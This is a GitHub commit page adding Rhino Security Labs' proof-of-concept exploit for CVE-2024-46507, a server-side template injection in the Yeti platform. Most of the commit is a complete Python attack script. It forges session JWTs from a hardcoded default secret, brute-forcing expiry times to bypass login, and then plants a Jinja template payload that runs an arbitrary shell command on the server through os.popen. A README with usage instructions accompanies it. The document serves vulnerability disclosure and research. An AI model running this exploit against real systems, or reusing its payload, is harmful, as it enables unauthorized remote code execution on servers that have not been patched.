Skip to content

Commit

Permalink
Merge pull request #16 from chebuya/master
Browse files Browse the repository at this point in the history
Add CVE-2024-46507
  • Loading branch information
DaveYesland authored Jan 29, 2025
2 parents ceb6882 + 4c6e8fb commit 5d27899
Show file tree
Hide file tree
Showing 3 changed files with 143 additions and 0 deletions.
114 changes: 114 additions & 0 deletions CVE-2024-46507/CVE-2024-46507.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,114 @@
import argparse
import json
import random
import string
import time

import jwt
import requests

from tqdm import tqdm

def generate_jwt(username, secret_key, expires):
header = {
"alg": "HS256",
"typ": "JWT"
}

payload = {
"sub": username,
"enabled": True,
"exp": expires
}

token = jwt.encode(payload, secret_key, algorithm="HS256", headers=header)

decoded_token = jwt.decode(token, secret_key, algorithms=["HS256"])

return token


def brute_jwt(target, username, secret_key):
epoch = int(time.time())
while True:
# ~30 days of keyspace
for i in tqdm(range(0, 2593000)[::-1]):
jwt_token = generate_jwt(username, secret_key, epoch + i)

cookies = {
'yeti_session': jwt_token
}

response = requests.get(f'{target}/api/v2/auth/me', cookies=cookies)

if response.status_code == 401:
continue

return jwt_token

print("Could not find JWT! Bruting keyspace again and hoping admin logs in")


def login(target, username, password):
form_data = {
'username': username,
'password': password
}

return json.loads(requests.post(f'{target}/api/v2/auth/token', data=form_data).text)["access_token"]

def exploit(target, jwt_token, command):
uuid_string = ''.join(random.choices(string.ascii_lowercase, k=16))
cookies = {
'yeti_session': jwt_token
}
headers = {
'Content-Type': 'application/json',
}
json_data = {
'observable': {
'type': 'hostname',
'value': uuid_string + '.com',
},
}
observable_id = json.loads(requests.post(f'{target}/api/v2/observables/extended', cookies=cookies, headers=headers, json=json_data).text)["id"]

json_data = {
'template': {
'name': 'EXPLOIT-' + uuid_string,
'template': 'value,tags\n{% for obj in data %}{{obj.value}},{{";".join(obj.tags.keys())}}\n{% endfor %}\n\n{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__[\'__import__\'](\'os\').popen("' + command + '").read()}}{%endif%}{% endfor %}',
},
}
template_id = json.loads(requests.post(f'{target}/api/v2/templates/', cookies=cookies, headers=headers, json=json_data).text)["id"]

json_data = {
'template_id': template_id,
'observable_ids': [
observable_id
],
'search_query': '',
}
print(requests.post(f'{target}/api/v2/templates/render', cookies=cookies, headers=headers, json=json_data).text)


parser = argparse.ArgumentParser()
parser.add_argument("-u", "--username", help="The target username")
parser.add_argument("-p", "--password", help="The password of the user")
parser.add_argument("-j", "--jwt-token", help="A valid JWT for the application")
parser.add_argument("-t", "--target", help="The target application base URL", required=True)
parser.add_argument("-c", "--command", help="The command to run", required=True)
parser.add_argument("-s", "--secret", help="The JWT secret", default="SECRET")

args = parser.parse_args()
target = args.target.rstrip("/")

if args.username and args.password:
jwt_token = login(target, args.username, args.password)
exploit(target, jwt_token, args.command)
elif args.username and not args.password:
jwt_token = brute_jwt(target, args.username, args.secret)
exploit(target, jwt_token, args.command)
elif args.jwt_token:
exploit(target, args.jwt_token, args.command)
else:
print("Must provide either a username, username/password pair, or a JWT token")
28 changes: 28 additions & 0 deletions CVE-2024-46507/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
# CVE-2024-46507: YETI platform SSTI

## Information
**Description:** A Server-Side Template Injection (SSTI) vulnerability in Yeti platform

**Versions Affected:** v2.0 - v2.1.11

**Version Fixed:** 2.1.12

**Researcher:** https://x.com/_chebuya

**Disclosure Link:** https://rhinosecuritylabs.com/research/cve-2024-46507-yeti-server-side-template-injection-ssti/

**NIST CVE Link:** https://nvd.nist.gov/vuln/detail/CVE-2024-46507

## Proof-of-Concept Exploit
### Description
This bypasses authentication using a hardcoded JWT secret with a known username and exploits an SSTI.

### Usage/Exploitation
```
python3 exploit.py -u <USERNAME> -t http://<TARGET_IP> -c '<COMMAND>'
```

### Demo
https://github.com/user-attachments/assets/c898a953-be05-4331-b76a-d07600983d5c


1 change: 1 addition & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
# Rhino CVE Proof-of-Concept Exploits
A collection of proof-of-concept exploit scripts written by the team at Rhino Security Labs for various CVEs.
* [CVE-2024-46507: Server-Side Template Injection in Yeti platform](CVE-2024-46507/)
* [CVE-2024-2449: Cross-Site Requets Forgery in Progress Kemp LoadMaster](CVE-2024-2449/)
* [CVE-2024-2448: Authenticated Command Injection in Progress Kemp LoadMaster](CVE-2024-2448/)
* [CVE-2024-2389: Progress Software Flowmon Unauthenticated Command Injection](CVE-2024-2389/)
Expand Down

0 comments on commit 5d27899

Please sign in to comment.